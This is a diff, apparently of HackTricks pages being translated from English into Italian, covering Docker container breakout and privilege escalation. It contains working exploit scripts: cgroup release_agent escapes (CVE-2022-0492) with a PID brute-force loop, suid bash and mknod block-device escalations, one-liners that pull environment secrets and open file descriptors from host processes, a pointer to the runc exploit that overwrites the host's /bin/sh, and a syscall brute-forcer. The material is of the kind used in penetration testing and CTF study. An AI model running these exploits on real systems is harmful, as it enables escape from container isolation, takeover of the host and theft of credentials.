sfruttare questo vettore di attacco: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` - -#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 - +#### Privileged Escape Abusare dell'esistente release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` - #### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - -Find an **explanation of the technique** in: +Trova un **spiegazione della tecnica** in: {{#ref}} docker-release_agent-cgroups-escape.md {{#endref}} -#### Privileged Escape Abusing release_agent without known the relative path - PoC3 +#### Privileged Escape Abusando di release_agent senza conoscere il percorso relativo - PoC3 -In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique: +Negli exploit precedenti, il **percorso assoluto del container all'interno del filesystem dell'host è rivelato**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non conosci il percorso assoluto del container all'interno dell'host**, puoi utilizzare questa tecnica: {{#ref}} release_agent-exploit-relative-paths-to-pids.md {{#endref}} - ```bash #!/bin/sh @@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -309,9 +282,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +Eseguire il PoC all'interno di un contenitore privilegiato dovrebbe fornire un output simile a: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -339,19 +310,18 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` - #### Privileged Escape Abusing Sensitive Mounts -There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ -The abuse of these files may allow that: +Ci sono diversi file che potrebbero essere montati che forniscono **informazioni sull'host sottostante**. Alcuni di essi potrebbero persino indicare **qualcosa da eseguire da parte dell'host quando accade qualcosa** (il che consentirà a un attaccante di uscire dal container).\ +L'abuso di questi file potrebbe consentire: -- release_agent (already covered before) +- release_agent (già trattato in precedenza) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) - [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -However, you can find **other sensitive files** to check for in this page: +Tuttavia, puoi trovare **altri file sensibili** da controllare in questa pagina: {{#ref}} sensitive-mounts.md @@ -359,17 +329,14 @@ sensitive-mounts.md ### Arbitrary Mounts -In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys… - +In diverse occasioni scoprirai che il **container ha qualche volume montato dall'host**. Se questo volume non è stato configurato correttamente, potresti essere in grado di **accedere/modificare dati sensibili**: leggere segreti, cambiare ssh authorized_keys… ```bash docker run --rm -it -v /:/host ubuntu bash ``` +### Privilege Escalation con 2 shell e montaggio host -### Privilege Escalation with 2 shells and host mount - -If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ -You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. - +Se hai accesso come **root all'interno di un container** che ha una cartella del host montata e hai **escapato come utente non privilegiato al host** e hai accesso in lettura sulla cartella montata.\ +Puoi creare un **file bash suid** nella **cartella montata** all'interno del **container** e **eseguirlo dal host** per privesc. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` +### Privilege Escalation con 2 shell -### Privilege Escalation with 2 shells +Se hai accesso come **root all'interno di un container** e sei **uscito come utente non privilegiato nell'host**, puoi abusare di entrambe le shell per **privesc all'interno dell'host** se hai la capacità MKNOD all'interno del container (è di default) come [**spiegato in questo post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +Con tale capacità, l'utente root all'interno del container è autorizzato a **creare file di dispositivo a blocchi**. I file di dispositivo sono file speciali utilizzati per **accedere all'hardware sottostante e ai moduli del kernel**. Ad esempio, il file di dispositivo a blocchi /dev/sda consente di **leggere i dati grezzi sul disco del sistema**. -If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. - -Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container. - -**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Docker protegge contro l'uso improprio dei dispositivi a blocchi all'interno dei container imponendo una politica cgroup che **blocca le operazioni di lettura/scrittura sui dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che **il proprietario del processo sia lo stesso** sia all'interno che all'esterno del container. +Esempio di **sfruttamento** da questo [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash # On the container as root cd / @@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` - ### hostPID -If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: - +Se puoi accedere ai processi dell'host, sarai in grado di accedere a molte informazioni sensibili memorizzate in quei processi. Esegui il laboratorio di test: ``` docker run --rm -it --pid=host ubuntu bash ``` +Ad esempio, sarai in grado di elencare i processi utilizzando qualcosa come `ps auxn` e cercare dettagli sensibili nei comandi. -For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. - -Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: - +Poi, poiché puoi **accedere a ciascun processo dell'host in /proc/ puoi semplicemente rubare i loro segreti ambientali** eseguendo: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` - -You can also **access other processes file descriptors and read their open files**: - +Puoi anche **accedere ai descrittori di file di altri processi e leggere i loro file aperti**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` - -You can also **kill processes and cause a DoS**. +Puoi anche **terminare processi e causare un DoS**. > [!WARNING] -> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** +> Se in qualche modo hai **accesso privilegiato su un processo al di fuori del container**, potresti eseguire qualcosa come `nsenter --target --all` o `nsenter --target --mount --net --pid --cgroup` per **eseguire una shell con le stesse restrizioni ns** (si spera nessuna) **di quel processo.** ### hostNetwork - ``` docker run --rm -it --network=host ubuntu bash ``` +Se un contenitore è stato configurato con il Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel contenitore non è isolato dal host Docker (il contenitore condivide lo spazio dei nomi di rete dell'host) e il contenitore non riceve un proprio indirizzo IP allocato. In altre parole, il **contenitore lega tutti i servizi direttamente all'IP dell'host**. Inoltre, il contenitore può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`. -If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. +Ad esempio, puoi utilizzare questo per **sniffare e persino spoofare il traffico** tra l'host e l'istanza di metadata. -For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. - -Like in the following examples: +Come nei seguenti esempi: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access). +Sarai anche in grado di accedere ai **servizi di rete legati a localhost** all'interno dell'host o persino accedere alle **permissive di metadata del nodo** (che potrebbero essere diverse da quelle a cui un contenitore può accedere). ### hostIPC - ```bash docker run --rm -it --ipc=host ubuntu bash ``` +Con `hostIPC=true`, ottieni accesso alle risorse di comunicazione inter-processo (IPC) dell'host, come **memoria condivisa** in `/dev/shm`. Questo consente di leggere/scrivere dove le stesse risorse IPC sono utilizzate da altri processi dell'host o del pod. Usa `ipcs` per ispezionare ulteriormente questi meccanismi IPC. -With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further. +- **Ispeziona /dev/shm** - Cerca eventuali file in questa posizione di memoria condivisa: `ls -la /dev/shm` +- **Ispeziona le strutture IPC esistenti** – Puoi controllare se ci sono strutture IPC in uso con `/usr/bin/ipcs`. Controllalo con: `ipcs -a` -- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` -- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` - -### Recover capabilities - -If the syscall **`unshare`** is not forbidden you can recover all the capabilities running: +### Recupera capacità +Se la syscall **`unshare`** non è vietata, puoi recuperare tutte le capacità eseguendo: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` +### Abuso del namespace utente tramite symlink -### User namespace abuse via symlink +La seconda tecnica spiegata nel post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica come puoi abusare dei bind mounts con i namespace utente, per influenzare i file all'interno dell'host (in quel caso specifico, eliminare file). -The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). +## CVE -
+### Exploit Runc (CVE-2019-5736) -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Nel caso tu possa eseguire `docker exec` come root (probabilmente con sudo), prova a elevare i privilegi fuggendo da un container abusando di CVE-2019-5736 (exploit [qui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Questa tecnica **sovrascriverà** il binario _**/bin/sh**_ dell'**host** **da un container**, quindi chiunque esegua docker exec potrebbe attivare il payload. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## CVEs - -### Runc exploit (CVE-2019-5736) - -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. - -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +Modifica il payload di conseguenza e costruisci il main.go con `go build main.go`. Il binario risultante dovrebbe essere posizionato nel container docker per l'esecuzione.\ +All'esecuzione, non appena visualizza `[+] Overwritten /bin/sh successfully` devi eseguire il seguente comando dalla macchina host: `docker exec -it /bin/sh` -This will trigger the payload which is present in the main.go file. +Questo attiverà il payload presente nel file main.go. -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) > [!NOTE] -> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +> Ci sono altre CVE a cui il container può essere vulnerabile, puoi trovare un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) -## Docker Custom Escape +## Escape Personalizzato di Docker -### Docker Escape Surface +### Superficie di Escape di Docker -- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). -- **Root user**: By default the user running the process is the root user (however its privileges are limited). -- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. +- **Namespaces:** Il processo dovrebbe essere **completamente separato da altri processi** tramite namespaces, quindi non possiamo fuggire interagendo con altri procs a causa dei namespaces (per impostazione predefinita non possono comunicare tramite IPC, socket unix, servizi di rete, D-Bus, `/proc` di altri procs). +- **Utente root**: Per impostazione predefinita, l'utente che esegue il processo è l'utente root (tuttavia i suoi privilegi sono limitati). +- **Capabilities**: Docker lascia le seguenti capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +- **Syscalls**: Queste sono le syscalls che l'**utente root non potrà chiamare** (a causa della mancanza di capabilities + Seccomp). Le altre syscalls potrebbero essere utilizzate per cercare di fuggire. {{#tabs}} {{#tab name="x64 syscalls"}} - ```yaml 0x067 -- syslog 0x070 -- setsid @@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x140 -- kexec_file_load 0x141 -- bpf ``` - {{#endtab}} {{#tab name="arm64 syscalls"}} - ``` 0x029 -- pivot_root 0x059 -- acct @@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x111 -- finit_module 0x118 -- bpf ``` - {{#endtab}} {{#tab name="syscall_bf.c"}} - ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape int main() { - for(int i = 0; i < 333; ++i) - { - if(i == SYS_rt_sigreturn) continue; - if(i == SYS_select) continue; - if(i == SYS_pause) continue; - if(i == SYS_exit_group) continue; - if(i == SYS_exit) continue; - if(i == SYS_clone) continue; - if(i == SYS_fork) continue; - if(i == SYS_vfork) continue; - if(i == SYS_pselect6) continue; - if(i == SYS_ppoll) continue; - if(i == SYS_seccomp) continue; - if(i == SYS_vhangup) continue; - if(i == SYS_reboot) continue; - if(i == SYS_shutdown) continue; - if(i == SYS_msgrcv) continue; - printf("Probando: 0x%03x . . . ", i); fflush(stdout); - if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) - printf("Error\n"); - else - printf("OK\n"); - } +for(int i = 0; i < 333; ++i) +{ +if(i == SYS_rt_sigreturn) continue; +if(i == SYS_select) continue; +if(i == SYS_pause) continue; +if(i == SYS_exit_group) continue; +if(i == SYS_exit) continue; +if(i == SYS_clone) continue; +if(i == SYS_fork) continue; +if(i == SYS_vfork) continue; +if(i == SYS_pselect6) continue; +if(i == SYS_ppoll) continue; +if(i == SYS_seccomp) continue; +if(i == SYS_vhangup) continue; +if(i == SYS_reboot) continue; +if(i == SYS_shutdown) continue; +if(i == SYS_msgrcv) continue; +printf("Probando: 0x%03x . . . ", i); fflush(stdout); +if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) +printf("Error\n"); +else +printf("OK\n"); +} } ``` + ```` {{#endtab}} @@ -633,12 +574,12 @@ int main() If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): - Find the **path of the containers filesystem** inside the host - - You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit +- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit - Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - - You should be able to **execute the trigger from inside the host** - - You need to know where the containers files are located inside the host to indicate a script you write inside the host +- You should be able to **execute the trigger from inside the host** +- You need to know where the containers files are located inside the host to indicate a script you write inside the host - Have **enough capabilities and disabled protections** to be able to abuse that functionality - - You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container +- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References @@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) - [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 7d16ec4a4..16a739ad3 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -2,10 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary: +**Per ulteriori dettagli, fare riferimento al** [**post originale del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Questo è solo un riassunto: Original PoC: - ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` +La prova di concetto (PoC) dimostra un metodo per sfruttare i cgroups creando un file `release_agent` e attivando la sua invocazione per eseguire comandi arbitrari sull'host del container. Ecco una suddivisione dei passaggi coinvolti: -The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: - -1. **Prepare the Environment:** - - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup. - - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative. - +1. **Preparare l'Ambiente:** +- Viene creata una directory `/tmp/cgrp` per fungere da punto di montaggio per il cgroup. +- Il controller cgroup RDMA è montato su questa directory. In caso di assenza del controller RDMA, si suggerisce di utilizzare il controller cgroup `memory` come alternativa. ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` - -2. **Set Up the Child Cgroup:** - - A child cgroup named "x" is created within the mounted cgroup directory. - - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file. - +2. **Imposta il Cgroup Figlio:** +- Viene creato un cgroup figlio chiamato "x" all'interno della directory cgroup montata. +- Le notifiche sono abilitate per il cgroup "x" scrivendo 1 nel suo file notify_on_release. ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` - -3. **Configure the Release Agent:** - - The path of the container on the host is obtained from the /etc/mtab file. - - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path. - +3. **Configura il Release Agent:** +- Il percorso del container sull'host è ottenuto dal file /etc/mtab. +- Il file release_agent del cgroup viene quindi configurato per eseguire uno script chiamato /cmd situato nel percorso host acquisito. ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -4. **Create and Configure the /cmd Script:** - - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified. - +4. **Crea e Configura lo Script /cmd:** +- Lo script /cmd viene creato all'interno del container ed è configurato per eseguire ps aux, reindirizzando l'output a un file chiamato /output nel container. Il percorso completo di /output sull'host è specificato. ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` - -5. **Trigger the Attack:** - - A process is initiated within the "x" child cgroup and is immediately terminated. - - This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container. - +5. **Attivare l'attacco:** +- Un processo viene avviato all'interno del cgroup figlio "x" e viene immediatamente terminato. +- Questo attiva il `release_agent` (lo script /cmd), che esegue ps aux sull'host e scrive l'output in /output all'interno del container. ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 5c3c57d9f..5f4558a48 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,27 +1,26 @@ {{#include ../../../../banners/hacktricks-training.md}} -For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary: +Per ulteriori dettagli **controlla il blog port da [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Questo è solo un riassunto: -The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings. +La tecnica delinea un metodo per **eseguire codice host da all'interno di un container**, superando le sfide poste dalle configurazioni del driver di archiviazione che oscurano il percorso del filesystem del container sull'host, come Kata Containers o impostazioni specifiche di `devicemapper`. -Key steps: +Passaggi chiave: -1. **Locating Process IDs (PIDs):** Using the `/proc//root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host. -2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc//root/`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. -3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. +1. **Localizzazione degli ID di processo (PID):** Utilizzando il collegamento simbolico `/proc//root` nel pseudo-filesystem Linux, qualsiasi file all'interno del container può essere accessibile rispetto al filesystem dell'host. Questo bypassa la necessità di conoscere il percorso del filesystem del container sull'host. +2. **Bashing del PID:** Viene impiegato un approccio di forza bruta per cercare tra i PID sull'host. Questo viene fatto controllando sequenzialmente la presenza di un file specifico in `/proc//root/`. Quando il file viene trovato, indica che il PID corrispondente appartiene a un processo in esecuzione all'interno del container target. +3. **Attivazione dell'esecuzione:** Il percorso del PID indovinato viene scritto nel file `cgroups release_agent`. Questa azione attiva l'esecuzione del `release_agent`. Il successo di questo passaggio è confermato controllando la creazione di un file di output. -### Exploitation Process +### Processo di sfruttamento -The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds: +Il processo di sfruttamento coinvolge un insieme di azioni più dettagliato, mirato a eseguire un payload sull'host indovinando il corretto PID di un processo in esecuzione all'interno del container. Ecco come si svolge: -1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation. -2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable. -3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. -4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. -5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. - -PoC from the blog post: +1. **Inizializza l'ambiente:** Uno script payload (`payload.sh`) viene preparato sull'host e viene creata una directory unica per la manipolazione del cgroup. +2. **Prepara il payload:** Lo script payload, che contiene i comandi da eseguire sull'host, viene scritto e reso eseguibile. +3. **Configura il cgroup:** Il cgroup viene montato e configurato. Il flag `notify_on_release` è impostato per garantire che il payload venga eseguito quando il cgroup viene rilasciato. +4. **Forza bruta PID:** Un ciclo itera attraverso i potenziali PID, scrivendo ogni PID indovinato nel file `release_agent`. Questo imposta effettivamente lo script payload come `release_agent`. +5. **Attiva e controlla l'esecuzione:** Per ogni PID, il `cgroup.procs` del cgroup viene scritto, attivando l'esecuzione del `release_agent` se il PID è corretto. Il ciclo continua fino a quando non viene trovato l'output dello script payload, indicando un'esecuzione riuscita. +PoC dal post del blog: ```bash #!/bin/sh @@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the 